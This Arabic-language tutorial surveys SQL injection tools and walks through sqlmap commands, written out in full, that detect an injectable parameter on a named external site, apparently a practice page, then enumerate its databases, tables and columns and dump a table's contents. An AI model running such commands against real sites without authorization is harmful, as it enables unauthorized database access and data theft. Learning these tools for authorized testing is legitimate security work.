في هذا القسم، ستقدم لك LuckyTemplates بعض الأدوات المستخدمة لاستغلال SQL حقن .
يوجد حاليًا العديد من أدوات فحص الثغرات الأمنية (بما في ذلك حقن SQL). تسمح هذه الأدوات باكتشاف واستغلال الثغرات الأمنية في حقن SQL بقوة كبيرة. تتضمن بعض أدوات استغلال الثغرات الأمنية لحقن SQL التلقائية شائعة الاستخدام ما يلي:
- Sqlmap
- الخلد (التنقيب عن بياناتك)
- هافيج
هناك أيضًا بعض الأدوات الأخرى التي يمكنك الرجوع إليها مثل: Netsparker، jSQL حقن، Burp، BBQSQL...
فيما يلي عرض توضيحي لاستخدام Sqlmap لاستغلال حقن SQL الأساسي.
يمكنك تنزيل Sqlmap على http://sqlmap.org/
Sqlmap مكتوب بلغة Python، لذا لاستخدام هذه الأداة، عليك تثبيت Python. يمكنك تنزيل لغة بايثون من http://www.python.org/downloads/
أولاً يجب عليك تحديد موقع الويب المستهدف، وهنا لدي الهدف التالي: http://zerocoolhf.altervista.org/level1.php?id=1 (هذه الصفحة ميتة الآن).
الخطوة 1 : افتح cmd واكتب الأمر التالي:
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1”

سيكتشف sqlmap ثغرة الهدف ويوفر معلومات حول الثغرة الأمنية.
الخطوة 2 : بمجرد أن نحدد أن موقع الويب المستهدف به ثغرة أمنية في حقن SQL، ننتقل إلى العثور على اسم قاعدة البيانات.
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dbs
![Web6: حقن SQL - بعض أدوات الاستغلال Web6: حقن SQL - بعض أدوات الاستغلال]()
=> قاعدة البيانات: my_zerocoolhf
الخطوة 3 : بعد تحديد اسم قاعدة البيانات، سنستمر في العثور على أسماء الجداول في قاعدة البيانات.
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --tables –D my_zerocoolhf
![Web6: حقن SQL - بعض أدوات الاستغلال Web6: حقن SQL - بعض أدوات الاستغلال]()
=> يوجد جدولان في قاعدة البيانات: المصادقة والكتاب
الخطوة الرابعة : تحديد أسماء الأعمدة في الجدول
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --columns –D my_zerocoolhf –T book
![Web6: حقن SQL - بعض أدوات الاستغلال Web6: حقن SQL - بعض أدوات الاستغلال]()
=> حدد الأعمدة في جدول الكتاب: المؤلف، المعرف، السعر، العنوان.
الخطوة 5 : تفريغ البيانات من الجدول.
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dump –D my_zerocoolhf –T book
![Web6: حقن SQL - بعض أدوات الاستغلال Web6: حقن SQL - بعض أدوات الاستغلال]()
=> إذن حصلنا على قاعدة بيانات الموقع المستهدف.
أعلاه عرض توضيحي أساسي لاستخدام sqlmap لاستغلال أخطاء حقن SQL. يمكنك معرفة المزيد حول خيارات sqlmap على https://github.com/sqlmapproject/sqlmap/wiki/Usage لدعم الاستغلال. استغلال حقن SQL.